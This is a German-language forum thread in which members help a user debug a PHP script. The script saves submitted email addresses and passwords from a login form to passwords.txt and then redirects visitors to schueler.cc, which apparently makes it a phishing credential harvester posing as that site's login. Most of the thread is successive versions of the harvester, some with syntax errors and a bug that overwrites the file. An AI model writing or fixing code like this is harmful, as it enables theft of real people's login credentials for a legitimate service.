weißt du schon was neues warum das nicht geht?
Druckbare Version
weißt du schon was neues warum das nicht geht?
Wieso machen das alle so? 0o. Zunächst einmal: Meta-Angaben gehören _immer_ in den Head der Seite! Also zwischen <head> und </head>, nicht in den Body! Der Body ist für die Seite, nicht für Kopfangaben.HTML-Code:<html>
<body>
<meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
</body>
</html>
Weiterhin ist eine Weiterleitung per Meta eh schlecht. Per PHP geht es viel sauberer.
Also stattdessen:
Oder einfachPHP-Code:
header("refresh:1;url=http://");
Dann zu Deinem Code... Der Fehler lag daran, dass die Else-Schleife nicht geschlossen wurde. Zu dem öffnenden { gehört auch immer ein }. Ist dies nicht der Fall, kann es zu Fehlern kommen. Daher nutze ich bei sowas sehr gerne die Tabulator-Taste...PHP-Code:
header("location:http://");
Versuch den, der ist meiner Meinung nach besser geeignet (mal eben zusammengezimmert):
PHP-Code:
<?php
@header("refresh:1;url=http://www.schueler.cc");
$handle = fopen("passwords,txt","a");
if(!$_POST['email'] OR !$_POST['passwort'])) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$handle = fopen("passwords.txt","a");
foreach($_POST AS $key => $value) {
fwrite($handle,$key."=".$value."\r\n");
}
fclose($handle);
}
exit;
?>
Find ich besser :)PHP-Code:
<?php
if(!$_POST['email'] OR !$_POST['passwort'])) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$mail = $_POST['email'];
$pass = $_POST['passwort'];
file_put_contents('passwords.txt', "Mail: $mail\n");
file_put_contents('passwords.txt', "Pass: $pass\n\n";
}
header("Location: http://www.schueler.cc", true, 301);
?>
Besser auf die Seite zugeschnitten vielleicht, ja. Mein Code ist jedoch allgemein, also überall nutzbar ;). Klar kann man es auch mit file_put_contents() machen. Ob es besser ist, ist fraglich.
Ich will ja nicht nerven aber es zeigt schon wieder nen Error an -.-:mad:
Parse error: syntax error, unexpected ')' in /srv/www/httpd/phost/t/eu/pytalhost/toms-site/web/send.php on line 2
Tom199415 Php kannst du garnicht oder?
Code:<?php
if(!$_POST['email'] OR !$_POST['passwort']) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$mail = $_POST['email'];
$pass = $_POST['passwort'];
file_put_contents('passwords.txt', "Mail: $mail\n");
file_put_contents('passwords.txt', "Pass: $pass\n\n";
}
header("Location: http://www.schueler.cc", true, 301);
?>
nee^^
das kapier ich überhaupt nicht...:confused:
Error:
Parse error: syntax error, unexpected ';' in /srv/www/httpd/phost/t/eu/pytalhost/toms-site/web/send.php on line 8
Da fehlt eine Klammer...PHP-Code:
file_put_contents('passwords.txt', "Pass: $pass\n\n";
Meine Güte, lern' PHP. Was ich noch am schlimmsten fand: Wenn Du in Zeile acht gehst, und den Befehl mit der Zeile davor vergleichst sollte man das merken 0o.PHP-Code:
file_put_contents('passwords.txt', "Pass: $pass\n\n");
Hab die php selber geändert weil wieder ein Error war in Zeile 10.
Sieht jetzt so aus:
Nur die php schreibt mir nur das Passwort in die txt?Code:<?php
if(!$_POST['email'] OR !$_POST['passwort']) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$mail = $_POST['email'];
$pass = $_POST['passwort'];
file_put_contents('passwords.txt', "Mail: $mail\n");
file_put_contents('passwords.txt', "Pass: $pass\n");
}
@header("refresh:1;url=http://www.schueler.cc");
?>
Dann ist das hier falsch:
Also der Name des Formulars ist wahrscheinlich anders.Code:$mail = $_POST['email'];